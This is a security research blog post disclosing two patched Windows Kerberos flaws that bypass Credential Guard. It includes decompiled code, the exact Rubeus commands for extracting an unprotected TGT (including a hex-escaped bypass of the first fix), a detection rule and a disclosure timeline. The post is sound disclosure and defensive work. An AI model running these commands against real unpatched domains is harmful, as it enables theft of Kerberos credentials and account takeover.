
CVE-2025-21299 and CVE-2025-29809: Unguarding Microsoft Credential Guard
TL;DR
The January and April 2025 patch Tuesday includes a fix for CVE-2025-21299 and CVE-2025-29809. The vulnerability is a credential guard bypass for Kerberos TGTs. Insufficient validation of the Kerberos krbtgt
service name within the TGT can lead to a bypass of credential guard, and therefore extraction of a primary TGT from the host that should otherwise be prevented. Details of the affected platforms can be found on Microsoft’s website:
- CVE-2025-21299 – Security Update Guide – Microsoft – Windows Kerberos Security Feature Bypass Vulnerability
- CVE-2025-29809 – Security Update Guide – Microsoft – Windows Kerberos Security Feature Bypass Vulnerability
Introduction
Credential guard is designed to prevent primary credentials and other secrets from extraction on protected hosts. In the Kerberos world, the primary credential is the TGT. This is all controlled via a chain of technologies called Virtualization Based Security, which relies on Hyper-V for isolating those secrets within the secure world. Like any chain, it’s only as strong as its weakest link. And in the case of CVE-2025-21299, that weakest link is Kerberos canonicalization.
What is Canonicalization?
Canonicalization is the process of standardizing a principal name within the Kerberos eco system. Whilst a principal may have multiple identities, only one of those identities is deemed the canonical, or primary identity name.
For example, if we take the user Joe Public here, we can see that he has multiple identities. He has the user principal name of joe@ec.lab
but he is also known as EC\joe.public
.


Now if we request a TGT for Joe using the /opsec
flag within Rubeus, this enables the Kerberos canonicalization flag. This flag is enabled by default when tickets are requested with the Kerberos authentication provider by the operating system. The resulting TGT will perform canonicalization on the client name field within the ticket prior to returning the ticket back to the user.
Performing the same test again, but this time without the /opsec
flag results in reflection of the requested username within the response.

From this, we can deduce that the NT form of the principal name is the canonical form for the Joe Public user.
Primary Credentials Only
As mentioned earlier, only primary credentials are typically protected by credential guard. Therefore, only Kerberos TGT’s are protected, and traditional service tickets are not.
So how does credential guard make this decision? The answer lies inside a method called KerbGetFlagsForKdcReply
within the KerbClientShared.dll
. This DLL is loaded inside the LsaIso.exe process, which lives inside the secure world as part of credential guard. When either a successful AS-REP or a TGS-REP response is obtained from the KDC, this method is called.
ulong __cdecl KerbGetFlagsForKdcReply(KERB_ENCRYPTED_KDC_REPLY *param_1) { longlong lVar1; undefined8 uVar2; int iVar3; /* 0x4c80 37 KerbGetFlagsForKdcReply */ if ((*(longlong *)(param_1 + 0x98) != 0) && (lVar1 = *(longlong *)(*(longlong *)(param_1 + 0x98) + 8), lVar1 != 0)) { iVar3 = _o__strnicmp("krbtgt",lVar1,6); if (iVar3 == 0) { return 1; } if (**(longlong **)(param_1 + 0x98) != 0) { uVar2 = *(undefined8 *)(**(longlong **)(param_1 + 0x98) + 8); iVar3 = _o__stricmp("kadmin",lVar1); if (iVar3 == 0) { iVar3 = _o__stricmp("changepw",uVar2); if (iVar3 != 0) { return 0; } return 4; } } } return 0; }
As we can see from the pseudo code, the service name either needs to start with krbtgt
or a service principal name of kadmin/changepw
will result in a non-zero return value from the function.
But why bother looking at the TGS-REP response when only primary credentials are protected. Well, this is for two reasons. Kerberos supports renewing a TGT, and this renewal is performed via a TGS-REQ. Therefore, if the renewal path was not considered, only the initial TGT would be protected by credential guard.
The second reason is the kadmin/changepw
service principal name. This service is requested when a user would like to perform a password change. But the service itself is tied to the long-term key of the krbtgt
account, therefore if the kadmin/changepw
service ticket was also not protected, the service ticket name could be rewritten back to krbtgt/target.com
and used for fetching additional tickets.
This is possible because service names are not protected by the Kerberos ticket checksum. It could also be used for other nasty attacks such as resetting a user’s password if the account holds the necessary permissions.
Rubeus Goodies
So now a method to request service tickets in a somewhat controllable manner was needed. Using Rubeus is no longer possible unless you already know the user’s credentials. The tgtdeleg
command will no longer work on credential guard protected machines because credential guard will refuse to allow the users TGT to be packed into a TGS-REQ outside the confines of the secure world.
The asktgs
command has now been updated to request service tickets via LSA in the same manner as tickets are obtained during normal requests by the operating system. Providing the /ticket
argument is omitted from the command line, the current user context will be used for fetching the requested service ticket, for example:
Rubeus asktgs /service:LDAP/dc.target.com
Additionally, if you are running from an elevated context, service tickets can be requested for other users by targeting the LUID belonging to that user:
Rubeus asktgs /service:LDAP/dc.target.com /luid:0xe37
Target Name Hints
OK, so we now have the ability to request arbitrary service tickets via Rubeus. But one of the missing features is the ability to set the target name hint. The target name hint is a value associated with the Kerberos principal name which hints to the KDC the format the principal name is supplied as. I covered this in detail as part of my DEF CON 31 talk video below, so if you are interested in those technical details you can go and check it out. In a nutshell, the principal names can be supplied in the following formats, directly taken from the Kerberos RFC.

Now, the problem we have is that we don’t have direct control over the TGS-REQ packet since we are routing the call through LSA and not via the traditional Rubeus Kerberos engine. From what I could tell, there was no way to set the name hint via the official API.
Reverse engineering kerberos.dll, the DLL that handles the Kerberos authentication package, led to a method called KerbProcessTargetNames
. Here I could see that the name hint was set based on some special formatting of the principal name itself.
if ((5 < (ushort)wVar21) && (_Str2 != (wchar_t *)0x0)) { param_3 = (uchar *)0x3; iVar11 = wcsncmp(L"@@@",_Str2,3); wVar21 = *(wchar_t *)(unaff_RBP + -0x71); if (iVar11 == 0) { *(longlong *)(unaff_RBP + -0x69) = *(longlong *)(unaff_RBP + -0x69) + 6; wVar21 = wVar21 + L'\xfffa'; *(undefined4 *)(unaff_RBP + -0x79) = 6; *(short *)(unaff_RBP + -0x6f) = *(short *)(unaff_RBP + -0x6f) + -6; unaff_R15W = 1; *(wchar_t *)(unaff_RBP + -0x71) = wVar21; unaff_DIL = '\x01'; } }
In the example pseudo code from Ghidra above, the principal name is set to a value of 6 if the name starts with @@@
. This value maps to the KRB_NT_X500_PRINCIPAL
, or more commonly known as the LDAP distinguished name of the principal.
This logic was also added to Rubeus under the /servicetype
argument. For example, supplying x500
for the argument will prepend @@@
to the requested service name prior to submitting to LSA to fetch the ticket.
Putting It All Together
With all the new Rubeus features in place, it was time to put them to the test. By requesting the krbtgt
service ticket using the LDAP DN and making sure that we do not request canonicalization, could we get an unprotected Kerberos TGT returned?
Rubeus.exe asktgs "/service:CN=krbtgt,CN=Users,DC=ec,DC=lab" /servicetype:x500 ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.3.3 [*] Action: Ask TGS [=] Requesting service ticket via LSA authentication package 2 using handle 0x16912720 [*] base64(ticket.kirbi): doIG4TCCBt2gAwIBBaEDAgEWooIFPTCCBTlh [REDACTED] ServiceName : CN=krbtgt,CN=Users,DC=ec,DC=lab ServiceRealm : EC.LAB UserName : Administrator (NT_PRINCIPAL) UserRealm : EC.LAB StartTime : 04/04/2025 12:48:10 EndTime : 04/04/2025 22:40:42 RenewTill : 11/04/2025 12:40:42 Flags : name_canonicalize, pre_authent, renewable, forwardable KeyType : aes256_cts_hmac_sha1 Base64(key) : [REDACTED]
Yes, we could! Now the service name in the resulting ticket is not the expected krbtgt/ec.lab
, but we can use Rubeus’s tgssub
command to rename this back to what the KDC will expect, krbtgt/ec.lab
.
Rubeus.exe tgssub /altservice:krbtgt/ec.lab /ticket:[REDACTED] ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.3.3 [*] Action: Service Ticket sname Substitution [*] Substituting in alternate service name: krbtgt/ec.lab ServiceName : krbtgt/ec.lab ServiceRealm : EC.LAB UserName : Administrator (NT_PRINCIPAL) UserRealm : EC.LAB StartTime : 04/04/2025 12:56:00 EndTime : 04/04/2025 22:40:42 RenewTill : 11/04/2025 12:40:42 Flags : name_canonicalize, pre_authent, renewable, forwardable KeyType : aes256_cts_hmac_sha1 Base64(key) : [REDACTED] Base64EncodedTicket : doIGGjCCBhagAwI[REDACTED]
The rewritten ticket could then be used away from the confines of credential guard as normal using Rubeus or other favorite Kerberos ticket tool.
CVE-2025-21299 Bypass
Unfortunately, the patch for CVE-2025-21299 did not fully fix the original issue reported to MSRC. Whilst the KerbGetFlagsForKdcReply
function was updated to check for the X500 based principal name for krbtgt
, Microsoft did not consider that LDAP supports escaping characters with hex code equivalents.
Therefore, after the initial fix was published in January 2025, it was possible to bypass the check by using the following Rubeus command (Note the “\6brbtgt”).
Rubeus.exe asktgs /service:CN=\6brbtgt,CN=Users,DC=ethicalchaos,DC=dev /servicetype:x500 ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.3.3 [*] Action: Ask TGS [=] Requesting service ticket via LSA authentication package 2 using handle 0x22157120 [*] base64(ticket.kirbi): [REDACTED] ServiceName : CN=\6brbtgt,CN=Users,DC=ethicalchaos,DC=dev ServiceRealm : ETHICALCHAOS.DEV UserName : jim.beam (NT_PRINCIPAL) UserRealm : ETHICALCHAOS.DEV StartTime : 11/04/2025 15:52:25 EndTime : 12/04/2025 00:19:47 RenewTill : 18/04/2025 14:19:47 Flags : name_canonicalize, pre_authent, renewable, forwardable KeyType : aes256_cts_hmac_sha1 Base64(key) : [REDACTED]
This bypass was fixed as part of CVE-2025-29809 during the April 2025 patch Tuesday.
Wrapping Up
Providing you are fully up to date with Windows updates (as of the April 2025 patch Tuesday), this specific credential guard bypass will no longer work. The KerbGetFlagsForKdcReply
function has been updated to also check for X500 formatting of the krbtgt
principal name and also normalizes the distinguished name to ensure any character escaping has been removed prior to any checks performed.
The latest Rubeus includes the additional features that were added as part of the research involved in this research so feel free to go and check it out.
Detection
Unfortunately, event ID 4769 seems to log the canonical name of the requested service regardless of how the Kerberos client has requested, so this does make detection a tad more difficult.

What you can do is inspect both the Service Name and Ticket Options together.
Detection Opportunity: Possible Credential Guard bypass attempt
Data Source: Active Directory Credential Request
Detection Strategy: Behavior
Detection Concept: Search for the krbtgt
service ticket retrieval when Ticket Options
does not include canonicalization. This event is usually seen in Windows Event ID 4769. Detect on Service Name == krbtgt && Ticket Options != 0x40810000
Detection Reasoning: Official windows clients typically use 0x40810000
for requesting the krbtgt
ticket.
Known Detection Consideration: The most important element of the detection is built around the lack of canonicalization flag within the Ticket Options field. Ideally if your SIEM supports masking integers through bitwise and operations, you should check for this instead. For example: Ticket Options & 0x10000 != 0x10000
Disclosure Timeline
- 13 October 2024 – Reported to MSRC
- 16 October 2024 – MSRC Case 91950 Assigned
- 24 October 2024 – Vulnerability confirmed by MSRC
- 7 January 2025 – Informed by MSRC that fix is planned for January 2025 Patch Tuesday
- 14 January 2025 – Fix released under CVE-2025-21299
- 21 February 2025 – Reported to MSRC that CVE-2025-21299 does not completely fix the original issue
- 25 February 2025- MSRC confirmed bypass to the original fix and case 95309 assigned
- 4 April 2025 – Informed by MSRC that fix is planned for April 2025 Patch Tuesday
- 8 April 2025 – Fix released under CVE-2025-29809

Explore More Blog Posts

CVE-2025-27590 – Oxidized Web: Local File Overwrite to Remote Code Execution
Learn about a critical security vulnerability (CVE-2025-27590) in Oxidized Web v0.14 that allows attackers to overwrite local files and execute remote code execution.

Is It Worth It? Let Me Work It: Calculating the Cost Savings of Proactive Security
Discover the cost savings of proactive security solutions to support your shift from traditional vulnerability management to a risk-based approach to exposure management.

A Not So Comprehensive Guide to Securing Your Salesforce Organization
Explore key background knowledge on authorization issues and common bad practices developers may unintentionally introduce in Salesforce Orgs.